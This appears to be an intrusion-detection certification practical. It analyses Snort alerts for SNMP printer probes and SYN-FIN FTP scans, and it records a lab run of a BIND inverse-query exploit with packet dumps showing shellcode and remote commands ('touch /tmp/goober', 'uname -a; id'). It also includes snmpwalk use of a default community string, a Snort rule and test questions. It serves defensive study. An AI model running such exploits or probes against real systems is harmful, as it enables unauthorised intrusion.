As this is a UDP packet, it's quite possible for this to have a spoofed source address and still succeed at talking to the device on MY.SCHOOL.248.15.

I think this is somewhat unlikely as the source address is also one in our academic network block. Since this initial packet appears to be just making the initial connection to gather information (the text representation of the packet doesn't seem to ask to make any changes to the snmp database on the printer), then the prober would need the information to come back to him/her, even if that information was just that the snmp port was open or not and if so, whether a community string of public was successful at getting access.

As the border router at our institution implements spoof blocking for our class B, at the very least the packet almost certainly comes from somewhere in our institution's class B block.

4. Description of attack:

The attacker sends a snmp request to an open snmp port. Part of the request is a community string; essentially a password. In theory, this community string should be changed, but all too often it's not, allowing for easy access to the device. As there are separate read and write community strings, it could be that the attacker may be able to read information like the contact name and location of the device and how many packets have been sent over a given network interface. If the attacker correctly enters the write community string, he/she may be able to change different fields in the snmp database, perhaps changing the IP address or default gateway of the unit. Something as simple as telling a network-connected printer to always print from a nonexistent tray could be considered a DOS attack.

This has no CVE number of its own, but CVE-1999-0472, CVE-1999-0888, CVE-2000-0221, CVE-2000-0379, and CVE-2000-0515 refer to SNMP vulnerabilities.

5. Attack mechanism:

The attacker is sending in snmp queries, hoping to see a response with snmp data. While the snmp daemon in firmware is unlikely to be targetable with a buffer overflow or similar exploit, the attacker can certainly use it to gather data.

6. Correlations:

Sure enough, the firewall performs like a champ:

```
Nov 11 17:38:28 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=MY.SCHOOL.40.110 DST=MY
Nov 11 17:38:41 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=MY.SCHOOL.40.110 DST=MY
```

[snip]

```
Nov 11 22:19:53 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=MY.SCHOOL.40.110 DST=MY
Nov 11 22:19:59 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=MY.SCHOOL.40.110 DST=MY
```

It logs and drops these unwanted incoming packets, as we have not allowed incoming snmp queries.

7. Evidence of active targeting:

These packets are directed specifically to a network-attached printer with snmp enabled. Targeting doesn't get more direct than this. ;-) This attack is even more distressing as the printer does use "public" as at least its read community string:

```
# snmpwalk MY.SCHOOL.248.15 public
system.sysDescr.0 = HP ETHERNET MULTI-ENVIRONMENT,ROM G.07.19,JETDIRECT,JD33,E
system.sysObjectID.0 = OID: enterprises.11.2.3.9.1
system.sysUpTime.0 = Timeticks: (169168810) 19 days, 13:54:48.10
system.sysContact.0 =
system.sysName.0 = HP1
system.sysLocation.0 =
system.sysServices.0 = 64
interfaces.ifNumber.0 = 1
# snmpwalk MY.SCHOOL.248.15 invalidcommunitystring
Timeout: No Response from MY.SCHOOL.248.15
```

8. Severity:

Severity = (Cruciality + Lethality) - (System Countermeasures + Network Countermeasures)

Cruciality=2; it would be a shame to lose a printer, but we'd cope. It's also a very poor jumping off point to attack other systems.

Lethality=2; the packets we see above are simply attempts to connect to the snmp service; by themselves they are not attempts to interfere with the operation of the printer. Had they been able to connect and return information, the next packets sent could have attempted to make changes, but we don't know one way or the other.

System Countermeasures=0; not only was snmp enabled, the default community string was left at the blatantly obvious default.

Network Countermeasures=5; the firewall successfully blocked and logged the attempt.

Severity = (2 + 2) - (0 + 5) = -1

9. Defensive recommendation:

Find the administrator that set up that printer and TWXP (Terminate With EXtreme Prejudice). ;-) Seriously, at the very least, the default community string(s) should be changed. If it's not a big

hassle, it might be worth changing the IP address as well, as our prober knows the printer is there.

10. Multiple choice test question, write a question based on the trace and your analysis with your answer:

What is the following packet targeting?

```
[**] SNMP public access [**]
11/11-19:05:16.323419 MY.SCHOOL.40.110:1030 .> MY.SCHOOL.248.15:161
UDP TTL:123 TOS:0x0 ID:16920
Len: 86
30 4C 02 01 00 04 06 70 75 62 6C 69 63 A0 3F 02  0L.....public.?.
02 01 A9 02 01 00 02 01 00 30 33 30 0F 06 0B 2B  .........030...+
06 01 02 01 19 03 02 01 05 01 05 00 30 0F 06 0B  ............0...
2B 06 01 02 01 19 03 05 01 01 01 05 00 30 0F 06  +............0..
0B 2B 06 01 02 01 19 03 05 01 02 01 05 00        .+............
```

- A. A public FTP server.
- B. A system 123 hops away.
- C. A network manageable device with a standard access string.
- D. Windows 3.11 machines.

Answer, C.

Detect 4

1. Source of trace:

The following detect was captured by Snort 1.6.3 on a dedicated Linux box outside the main firewall.

```
[**] SCAN-SYN FIN [**]
11/14-05:37:07.704512 24.18.197.167:21 .> MY.SCHOOL.248.1:21
TCP TTL:28 TOS:0x0 ID:39426
**SF**** Seq: 0x70DD11A4   Ack: 0x664B78C7   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
11/14-05:37:07.725959 24.18.197.167:21 .> MY.SCHOOL.248.2:21
TCP TTL:28 TOS:0x0 ID:39426
**SF**** Seq: 0x70DD11A4   Ack: 0x664B78C7   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
11/14-05:37:07.745024 24.18.197.167:21 .> MY.SCHOOL.248.3:21
TCP TTL:28 TOS:0x0 ID:39426
**SF**** Seq: 0x70DD11A4   Ack: 0x664B78C7   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
```

```
11/14-05:37:07.766749 24.18.197.167:21 .> MY.SCHOOL.248.4:21
TCP TTL:28 TOS:0x0 ID:39426
**SF**** Seq: 0x70DD11A4   Ack: 0x664B78C7   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
11/14-05:37:07.784513 24.18.197.167:21 .> MY.SCHOOL.248.5:21
TCP TTL:28 TOS:0x0 ID:39426
**SF**** Seq: 0x70DD11A4   Ack: 0x664B78C7   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

[snip]

```
[**] SCAN-SYN FIN [**]
11/14-05:37:17.826052 24.18.197.167:21 .> MY.SCHOOL.249.252:21
TCP TTL:28 TOS:0x0 ID:39426
**SF**** Seq: 0x3BAC84C1   Ack: 0x776EAEEF   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
11/14-05:37:17.846805 24.18.197.167:21 .> MY.SCHOOL.249.253:21
TCP TTL:28 TOS:0x0 ID:39426
**SF**** Seq: 0x3BAC84C1   Ack: 0x776EAEEF   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] SCAN-SYN FIN [**]
11/14-05:37:17.867017 24.18.197.167:21 .> MY.SCHOOL.249.254:21
TCP TTL:28 TOS:0x0 ID:39426
**SF**** Seq: 0x3BAC84C1   Ack: 0x776EAEEF   Win: 0x404

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

2. Detect was generated by:

The following rule in scan-lib triggered the detect:

```
alert tcp !$HOME_NET any .> $HOME_NET any (msg:"SCAN-SYN FIN";flags:SF;)
```

The impossible combination of a SYN and FIN flag set is a common signature for a probe. Since this is an impossible combination of flags, different operating systems will respond differently. In addition to determining whether these machines are running ftp servers, the attacker gets to know the target OS's as well.

3. Probability the source address was spoofed:

The source address is 24.18.197.167. It's not paired up with other source addresses in the host scan (I rechecked the firewall logs for additional packets beyond the additional 503; there were none). It's part of the @home network, a network that is, ahem, somewhat notorious for being the source of port scans and attacks.

The use of the SYN and FIN flags together point much more strongly to information gathering

than a real attack.

4. Description of attack:

By using both a source and destination port of 21, it, too, attempts to sneak below stateless firewalls. Stateless firewalls that allow outbound ftp connections and fail to check that the client port is ephemeral will let this back in as an ftp server response. Sites that allow incoming ftp connections to some or all machines will allow thes packets in to those machines (again, if they don't check for the client port >=1024).

5. Attack mechanism:

These are incoming packets, as opposed to responses to outgoing packets from a severely misconfigured ftp client on our lan (had they been responses, the firewall would have allowed them back in).

This is reconnaissance in the form of a host scan, not only to discover live hosts, but also ones running the ftp service. Simply identifying Unix systems running the wu-ftpd server would provide a good list of systems to attack in the hopes that they're running an old version that was vulnerable to a number of CVE vulnerabilities:

- CVE-1999-0075; PASV core dump in wu-ftpd daemon
- CVE-1999-0080; wu-ftp FTP server allows root access via "site exec" command.
- CVE-1999-0368; Buffer overflows in wuarchive ftpd
- CVE-1999-0878; Buffer overflow in WU-FTPD allows remote attackers to gain root privileges.
- CVE-1999-0955; Race condition in wu-ftpd allows remote attackers gain root access via the SITE EXEC command.
- CVE-1999-0997; wu-ftp with FTP conversion enabled allows an attacker to execute commands.

Additionally, ftp servers can be useful in port scans as relays; the ftp server can be instructed to connect to ports on machines other than the client (CVE-1999-0017; ftp-bounce).

6. Correlations:

The firewall recorded that each of the 503 packets was dropped:

```
Nov 14 04:10:18 gw kernel:  DROP  IN=eth0 OUT= SRC=24.18.197.167 DST=MY.SCHOOL
Nov 14 04:10:18 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=24.18.197.167 DST=MY.SC
Nov 14 04:10:18 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=24.18.197.167 DST=MY.SC
Nov 14 04:10:18 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=24.18.197.167 DST=MY.SC
Nov 14 04:10:18 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=24.18.197.167 DST=MY.SC
```

[snip]

```
Nov 14 04:10:28 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=24.18.197.167 DST=MY.SC
Nov 14 04:10:28 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=24.18.197.167 DST=MY.SC
```

```
Nov 14 04:10:28 gw kernel:  DROP  IN=eth0 OUT=eth1 SRC=24.18.197.167 DST=MY.SC
```

7. Evidence of active targeting:

This one is a host scan looking for a particular service - ftp - that has a number of vulnerabilities that can be exploited.

8. Severity:

Severity = (Cruciality + Lethality) - (System Countermeasures + Network Countermeasures)

Cruciality=1; We generally don't depend on ftp servers at this site.

Lethality=2; this is reconnaissance. Even if if the target system has a ftp server, the connection would have most likely failed.

System Contermeasures=2; some of the target systems have been upgraded, other have had the service removed or turned off.

Network Countermeasures=5; the firewall successfully blocked and logged the attempts.

Severity = (1 +2) - (2 + 5) = -4

9. Defensive recommendation:

Each machine should be checked to make sure it has the latest patches for all live services.

10. Multiple choice test question, write a question based on the trace and your analysis with your answer:

Why isn't this a standard FTP packet?

```
[**] SCAN-SYN FIN [**]
11/14-05:37:07.725959 24.18.197.167:21 .> MY.SCHOOL.248.2:21
TCP TTL:28 TOS:0x0 ID:39426
**SF**** Seq: 0x70DD11A4   Ack: 0x664B78C7   Win: 0x404
```

- A. Its source and destination ports are both 21.
- B. The invalid flag combination.
- C. It's a UDP packet.
- D. A and B

Answer D.

Closing thoughts

At first I thought I'd have no trouble whatsoever finding attacks to analyze. Snort was located

outside the firewall and was set to log anything suspicious. The firewall logged everything incoming. With the exception of dropping spoofs, traffic is not being filtered for us beyond the Snort box. I had two weeks of detects and 120M of data from an academic environment with a permanent high-speed connection to wade through.

I was stunned. After stripping out the pings, port 1080 socks scans, and known good traffic (snort occasionally produced false positives on normal traffic; see detect 1 for an example), I was left with less than a screen of log files to work with.

My best explanation for the lack of attacks to analyze is that our firewall even blocks incoming pings; people who would see a live machine and then try to map open ports are foiled even trying to see what IPs are live in the first place.

Assignment 2 - Evaluate an attack

Vulnerability

I'll be demonstrating a vulnerability from the SANS Top ten; the bind vulnerability that allows an attacker to gain root access. The CVE entry for this vulnarability is:

```
Name: CVE-1999-0009
Reference: SGI:19980603-01-PX
Reference: HP:HPSBUX9808-083
Reference: SUN:00180
Reference: CERT:CA-98.05.bind_problems
Reference: XF:bind-bo
Reference: BID:134

Inverse query buffer overflow in BIND 4.9 and BIND 8 Releases.
```

Bind versions 8.2.2 P5 and higher do not suffer from this remote root exploit. This version or newer is included in the base distribution or updates to each of the following Linux distributions:

- Caldera OpenLinux 2.4
- Connectiva 5.1
- Immunix 6.2
- Mandrake 7.2
- RedHat 6.2
- RedHat 7.0
- Trustix 1.1

Exploit Code

The attack code for this exploit was downloaded from http://www.hack.co.za . At the moment, this site appears to be unavailable. I'll gladly make the code available if needed.

Preparation

The first step in running any exploit code is to read through the source code first. Then, read it again. As an evaluator, I need to understand what the code will try to do; an exploit program that claims on the surface to perform an attack on a remote system might very well have unwanted side effects on my own.

The code was compiled with the following command:

```
$ gcc -o t666 t666.c
t666.c:537:58: warning: no newline at end of file
$ ls
t666  t666.c
$
```

The warnings returned by the C compiler are harmless, and are simply warnings to the programmer that they should make some primarily cosmetic changes to the source code. In this case, the compile was successful and we end up with a ready-to-run exploit binary.

For the purpose of this test, I'll be using the vulnerable version 8.2.1 from the base RedHat 6.1.

On the host where we'll be running the tcpdump and the actual exploit (MY.SCHOOL.249.49), we start up tcpdump:

```
tcpdump -i wvlan0 -a -s 2000 host MY.SCHOOL.249.49 >bind-exploit-tcpdump
```

On the target name server, we start up the bind daemon:

```
bash# /etc/rc.d/init.d/named start
Starting named: [  OK  ]
bash#
```

Attack

Now on the host, we launch the attack. Here's the syntax:

```
# ./t666
Usage: ./t666 architecture [command]
Available architectures:
 1: Linux Redhat 6.x    - named 8.2/8.2.1 (from rpm)
 2: Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1
 3: Solaris 7 (0xff)    - named 8.2.1
 4: Solaris 2.6         - named 8.2.1
 5: FreeBSD 3.2-RELEASE - named 8.2
 6: OpenBSD 2.5         - named 8.2
 7: NetBSD 1.4.1        - named 8.2.1
# ./t666 1 'touch /tmp/goober'
```

Now we kick off a dns request from the machine running the target name server. This is how the

t666 script finds a name server to attack; it opens up the attack to the machine that just sent in a query. On the target name server machine:

```
# cat /etc/resolv.conf
nameserver MY.SCHOOL.249.49
# ping -c 1 www.sun.com
```

Here's the initial request, heading off to the bogus attacking name server on udp port 53:

```
16:34:16.693569 < dhcp70.ists.MY.SCHOOL.1057 > attacker.domain: 42405+ A? www.

                         E^@ ^@ 9  4 x ^@^@  @^Q  P^K .... ....
                        .... .. 1 ^D ! ^@ 5 ^@ % .... .... ^A^@
                        ^@^A ^@^@ ^@^@ ^@^@ ^C w  w w ^C s  u n
                        ^C c  o m ^@^@ ^A^@
                        ^A
```

On the console, the t666 binary reports that it has received an incoming query and that it is attacking the source name server:

```
Received request from MY.SCHOOL.249.170:1057 for www.sun.com type=1
Entering proxyloop..
```

, which kicks off this return traffic. Note that the return connection is to the TCP dns port, even though the original request came by UDP:

```
16:34:16.693891 > attacker.35226 > dhcp70.ists.MY.SCHOOL.domain: S 3002232521:

                         E^@ ^@ < ^@^@  @^@  @^F  D.. .... .. 1
                        .... .... .... ^@ 5 ....  n.. ^@^@ ^@^@
                        ..^B ^V.. ^I.. ^@^@ ^B^D ^E.. ^D^B ^H^J
                        ^@ o .. g ^@^@ ^@^@ ^A^C ^C^@
16:34:16.695562 < dhcp70.ists.MY.SCHOOL.domain > attacker.35226: S 3603744725:

                         E^@ ^@ <  4 y  @^@  @^F ^P^R .... ....
                        .... .. 1 ^@ 5 .... .... .... ....  n..
                        ..^R  } x ^T Z ^@^@ ^B^D ^E.. ^D^B ^H^J
                        ^B.. .. Y ^@ o .. g ^A^C ^C^@
16:34:16.695656 > attacker.35226 > dhcp70.ists.MY.SCHOOL.domain: . 1:1(0) ack

                         E^@ ^@ 4 ^@^@  @^@  @^F  D.. .... .. 1
                        .... .... .... ^@ 5 ....  n.. .... ....
                        ..^P ^V.. .... ^@^@ ^A^A ^H^J ^@ o .. g
                        ^B.. .. Y
16:34:16.701151 > attacker.35226 > dhcp70.ists.MY.SCHOOL.domain: P 1:3(2) ack

                         E^@ ^@ 6 ^@^@  @^@  @^F  D.. .... .. 1
                        .... .... .... ^@ 5 ....  n.. .... ....
                        ..^X ^V.. .... ^@^@ ^A^A ^H^J ^@ o .. h
                        ^B.. .. Y ^Y..
16:34:16.701445 > attacker.35226 > dhcp70.ists.MY.SCHOOL.domain: . 3:1451(1448

                         E^@ ^E.. ^@^@  @^@  @^F  >.. .... .. 1
                        .... .... .... ^@ 5 ....  n.. .... ....
```

```
                        ..^P ^V.. .. F ^@^@ ^A^A ^H^J ^@ o .. h
                        ^B.. .. Y .... ..^@ ^@^A ^@^A ^@^@ ^@^A
                        ^C w  w w ^C s  u n ^C c  o m ^@^@ ^A^@
                        ^A^C  w w  w^C  s u  n^C  c o  m^@ ^@^A
                        ^@^A ^@^@ ^A , ^@^D ^A^B ^C^D ^C w  w w
                        ^C s  u n ^C c  o m ^@^@ ^^^@ ^A^@ ^@^A
                         ,^Y  k^@ ^F a  d m  a d  m^@ ^@.. ....
                        .... .... .... .... .... .... .... ....
                        .... .... .... .... .... .... .... ....
                        .... .... .... .... .... .... .... ....
```

[identical NOOP lines snipped]

```
                        .... .... .... .... .... .... .... ....
                        .... .... .... .... .... ....
16:34:16.702378 > attacker.35226 > dhcp70.ists.MY.SCHOOL.domain: . 1451:2899(1

                         E^@ ^E.. ^@^@  @^@  @^F  >.. .... .. 1
                        .... .... .... ^@ 5 ....  t t .... ....
                        ..^P ^V.. .... ^@^@ ^A^A ^H^J ^@ o .. h
                        ^B.. .. Y .... .... .... .... .... ....
                        .... .... .... .... .... .... .... ....
                        .... .... .... .... .... .... .... ....
```

[identical NOOP lines snipped]

```
                        .... .... .... .... .... .... .... ....
                        .... .... .... .... .... ....
16:34:16.704030 < dhcp70.ists.MY.SCHOOL.domain > attacker.35226: . 1:1(0) ack

                         E^@ ^@ 4  4 z  @^@  @^F ^P^Y .... ....
                        .... .. 1 ^@ 5 .... .... .... ....  n..
                        ..^P  } x  C^[ ^@^@ ^A^A ^H^J ^B.. .. Z
                        ^@ o .. h
16:34:16.704087 > attacker.35226 > dhcp70.ists.MY.SCHOOL.domain: . 2899:4347(1

                         E^@ ^E.. ^@^@  @^@  @^F  >.. .... .. 1
                        .... .... .... ^@ 5 ....  z^\ .... ....
                        ..^P ^V..  y.. ^@^@ ^A^A ^H^J ^@ o .. h
                        ^B.. .. Z .... .... .... .... .... ....
                        .... .... .... .... .... .... .... ....
                        .... .... .... .... .... .... .... ....
```

[identical NOOP lines snipped]

```
                        .... .... .... .... .... .... .... ....
                        .... .... .... .... .... ..^A ^@^@  ^..
                         v^L .. F ^H..  F^P .. F  ...  F^T  V..
                         T ^ .... ..^@ ^@^@ ^@.. ^@^@ ^@^@ ..^E
                        ^@^@ ^@.. .. P .. ^ ^B.. ..^A ^@^@ .. '
                        ^@^@ ^@.. ....  ^^B .. = ^@^@ ^@.. .. [
                         S.. ..^@ ^@^@ ....  [.. ^F^@ ^@^@ ....
                        .. ^ ^K.. ^L^@ ^@^@ .... .... .. = ^@^@
                        ^@.. ....  ,.. .... ....  .^@  A D  M R
                         O C  K S ^@ .  . /  . .  / .  . /  . .
```

```
 / .  . /  . .  / .  . /  . .  / .  . /
^@ ^ ..^B ^@^@ ^@.. .... .... ..^O ....
^@^@ ^@.. ....  N^L .. V ^X.. ^K^@ ^@^@
.... ..^A ^@^@ ^@.. ....  u^@ ^@^@ ^P^@
^@^@ ^@^@ ^@^@  t h  i s  i s  s o  m e
 t e  m p  s p  a c  e f  o r  t h  e s
 o c  k i  n a  d d  r i  n y  e a  h y
 e a  h i  k n  o w  t h  i s  i s  l a
 m e  b u  t a  n y  w a  y w  h o  c a
 r e  s h  o r  i z  o n  g o  t i  t w
 o r  k i  n g  s o  a l  l i  s c  o o
```

The attacker needs to provide some additional buffer space for the socket address.

```
 l.. .. ^  V..  F^H  P..  F^D  P..  F^D
.... ..^G ^@^@ ^@..  f^@ ^@^@ .... ....
^L.. .... .. u .. f .. ~ ^H^B  u.. .. V
^D J  R.. .... ^@^@ ^@^@ .. ? ^@^@ ^@..
.. Z  R.. .... ^A^@ ^@^@ .. ? ^@^@ ^@..
.. Z  R.. .... ^B^@ ^@^@ .. ? ^@^@ ^@..
.... ^R ^  F F  F F  F..  F^P ^@^@ ^@^@
.... .... .... .... .... .. O .... .. /
 b i  n /  s h ^@ -  c^@ .... .... ....
.... .... .... ..^@ ^@^@ ^@ p  l a  g u
 e z  [ A  D M  ] 1  0 /  9 9  - t  o u
 c h    /  t m  p /  g o  o b  e r ^@..
```

Finally, we get the command we wanted to run in the first place. This gets executed on the remote system, creating a temporary flag file.

[more snippage]

```
.... .... .... .... .... .... .... ....
.... ..^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
16:34:16.705048 > attacker.35226 > dhcp70.ists.MY.SCHOOL.domain: . 4347:5795(1

 E^@ ^E.. ^@^@  @^@  @^F  >.. .... .. 1
.... .... .... ^@ 5 .... ^¿.. .... ....
..^P ^V.. .. # ^@^@ ^A^A ^H^J ^@ o .. h
^B.. .. Z ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
```

[more snippage]

```
^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
16:34:16.717766 < dhcp70.ists.MY.SCHOOL.domain > attacker.35226: . 1:1(0) ack

 E^@ ^@ 4  4 {  @^@  @^F ^P^X .... ....
.... .. 1 ^@ 5 .... .... .... ....  z^\
```

```
                        ..^P  | p  8.. ^@^@ ^A^A ^H^J ^B.. .. [
                        ^@ o .. h
16:34:16.717832 > attacker.35226 > dhcp70.ists.MY.SCHOOL.domain: P 5795:6594(7

                         E^@ ^C S ^@^@  @^@  @^F  A t .... .. 1
                        .... .... .... ^@ 5 .... .. l .... ....
                        ..^X ^V.. .... ^@^@ ^A^A ^H^J ^@ o .. i
                        ^B.. .. [ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
                        ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
                        ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
```

[more snippage]

```
                        ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
                        ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@ ^@^@
                        ^@^@ ^@
16:34:16.722945 < dhcp70.ists.MY.SCHOOL.domain > attacker.35226: . 1:1(0) ack

                         E^@ ^@ 4  4 |  @^@  @^F ^P^W .... ....
                        .... .. 1 ^@ 5 .... .... .... .... ^¿..
                        ..^P  | p  3 ) ^@^@ ^A^A ^H^J ^B.. .. \
                        ^@ o .. h
16:34:16.731364 < dhcp70.ists.MY.SCHOOL.domain > attacker.35226: . 1:1(0) ack

                         E^@ ^@ 4  4 }  @^@  @^F ^P^V .... ....
                        .... .. 1 ^@ 5 .... .... .... .... ....
                        ..^P  | p  * a ^@^@ ^A^A ^H^J ^B.. .. ]
                        ^@ o .. h
16:34:17.710226 > attacker.35226 > dhcp70.ists.MY.SCHOOL.domain: P 6594:6619(2

                         E^@ ^@ M ^@^@  @^@  @^F  D z .... .. 1
                        .... .... .... ^@ 5 .... .... .... ....
                        ..^X ^V.. .... ^@^@ ^A^A ^H^J ^@ o ....
                        ^B.. .. ]  c d    /  ;    u n  a m  e
                         - a  ;    p w  d ;    i  d ; ^J
```

This appears to be an additional command, also run on the target system.

```
16:34:17.732095 < dhcp70.ists.MY.SCHOOL.domain > attacker.35226: . 1:1(0) ack

                         E^@ ^@ 4  4 ~  @^@  @^F ^P^U .... ....
                        .... .. 1 ^@ 5 .... .... .... .... ....
                        ..^P  | p  )^¿ ^@^@ ^A^A ^H^J ^B.. ....
                        ^@ o ....
16:34:21.703062 < dhcp70.ists.MY.SCHOOL.1057 > attacker.domain: 42405+ A? www.

                         E^@ ^@ 9  4^¿ ^@^@  @^Q  P^D .... ....
                        .... .. 1 ^D ! ^@ 5 ^@ % .... .... ^A^@
                        ^@^A ^@^@ ^@^@ ^@^@ ^C w  w w ^C s  u n
                        ^C c  o m ^@^@ ^A^@
                        ^A
```

As the target system *still* has not found an answer, it
retries by sending another udp packet with the same query.

Closing note

In the interest of full disclosure, I should note that I was not able to make this exploit actually perform any kind of remote operation on the target name server. The version is one that is definitely vulnerable; the exploit specifically claims to be able to break it.

Assignment 3 - "Analyze this" sce

130.149.41.70 is a frequent port scanner. On 8/17 and 8/18, this machine port scanned .217.46 using stealth, Christmas tree, null, and SYN-FIN scans. This machine should probably be firewalled and .217.46 should be double checked to make sure it's current on updates and has as many ports closed as possible.

The 205.188.153 network and 205.188.179.33 both seem very interested in the sunrpc services on our network:

```
$ cat Snort* | grep 32771 | grep '205.188' | sed -e 's/.*205.188/205.188/' | s
 221 205.188.153.109:4000 -> MY.NET.219.26:32771
   1 205.188.153.109:53 -> MY.NET.219.26:32771
  40 205.188.153.112:4000 -> MY.NET.105.2:32771
   5 205.188.153.114:4000 -> MY.NET.105.2:32771
   3 205.188.153.114:4000 -> MY.NET.206.38:32771
 240 205.188.153.115:4000 -> MY.NET.218.218:32771
  12 205.188.153.115:4000 -> MY.NET.53.15:32771
 174 205.188.153.98:4000 -> MY.NET.217.82:32771
  52 205.188.153.98:4000 -> MY.NET.220.58:32771
 184 205.188.153.98:4000 -> MY.NET.222.66:32771
1054 205.188.179.33:4000 -> MY.NET.217.42:32771
   1 205.188.4.42:5190 -> MY.NET.210.2:32771
```

Approximately 1800 detects out of Snort; nothing whatsoever out of Shadow. I suspect these are valid connections; the source port isn't changing.

The final 5190 -> 32771 is probably the response packet from

aol that happened to be using 32771 as an ephemeral source port.

Likewise, 130.149.41.70 is interested in sunrpc, but to a different machine:

```
$ cat Snort* | grep -v 130.149.41.70 | grep 32771 | grep '193.64.205' | sed -e
  57 193.64.205.17:56880 .> MY.NET.211.2:32771
```

Additional port scanners:

```
grep spp_portscan | sed -e 's/.* from /from /' | sort | uniq -c | less
```

- 35.10.82.11
- 35.8.41.52
- 38.179.244.220
- 38.31.45.146
- 4.54.10.58
- 4.54.37.160
- 62.10.136.40
- 62.136.41.111
- 62.158.107.236
- 62.180.57.86
- 62.2.64.86
- 62.225.107.20
- 62.226.139.46
- 62.40.188.165
- 62.66.240.244
- 63.144.227.21
- 63.226.208.41
- 63.248.117.118
- 63.248.55.245
- 63.68.72.19
- 64.1.198.164
- 64.229.196.119
- 64.229.65.229
- 64.80.63.121
- 65.1.214.44
- 65.1.220.19

We had our own portscanners too:

- MY.NET.1.13
- MY.NET.1.3
- MY.NET.1.4
- MY.NET.1.5
- MY.NET.225.42

213.25.136.60 SYN-FIN scanned port 9704 on a large number of hosts. Likewise, 210.61.144.125 SYN-FIN scanned for ftp servers. 18.116.0.75, 210.101.101.110 and 24.201.209.192 were the remaining SYN-FIN scanners (looking for port 111/tcp).

Then a slew of "Watchlist 000222" alerts. Without access to the rulebase used here, it's not clear what this is alerting. They seem to be mostly telnet, smtp, auth, http, https, pop3, ftp connections. When they show up, they seem to be about a second apart for a long time, with breaks in between.

I'm going to bet this is an alert on the source address. All the Watchlist 000222's seem to have 159.226.x.x source addresses, and two sample addresses taken from the snort detects resolve to schools in China (aphy.iphy.ac.cn = 159.226.45.3, and lcc.icm.ac.cn = 159.226.63.190).

```
08/11-00:33:52.345284  [**] Watchlist 000222 NET-NCFC [**] 159.226.23.155:3782
08/11-00:33:52.345378  [**] Watchlist 000222 NET-NCFC [**] 159.226.23.155:3782
08/11-00:33:54.517711  [**] Watchlist 000222 NET-NCFC [**] 159.226.23.155:3782
```

If that guess is correct, then IL-ISDNNET-990517 is probably 212.179.x.x .

We can probably ignore SMB Name Wildcard alerts that are both coming from and going to our network.

There are a huge number of Wingate/Socks 1080/tcp scans. I may be burned at the stake for the opinion, but just like SMB, incoming proxy attempts should be blocked at the firewall. The number of packets to be checked is immense. Do we really want to be tracking down everyone that scans for proxy services that we don't allow to the outside world anyways? For that reason, I won't be following up on the "Wingate 1080 attempt" detects.

Interesting stuff; 24.17.189.83 shows up not only with host scanning port 21 on Sept 8th, but look at this:

```
09/08-04:53:17.038845  [**] site exec - Possible wu-ftpd exploit - GIAC000623
09/08-05:25:41.092146  [**] site exec - Possible wu-ftpd exploit - GIAC000623
09/08-05:25:41.167678  [**] Possible wu-ftpd exploit - GIAC000623 [**] 24.17.1
09/08-05:59:01.961301  [**] site exec - Possible wu-ftpd exploit - GIAC000623
09/08-05:59:02.084974  [**] site exec - Possible wu-ftpd exploit - GIAC000623
09/08-05:59:04.101862  [**] site exec - Possible wu-ftpd exploit - GIAC000623
09/08-05:59:04.191384  [**] Possible wu-ftpd exploit - GIAC000623 [**] 24.17.1
09/08-05:59:04.271433  [**] site exec - Possible wu-ftpd exploit - GIAC000623
```

Ouch! Actual attempts to exploit wu-ftpd. **This** one deserves live followup.

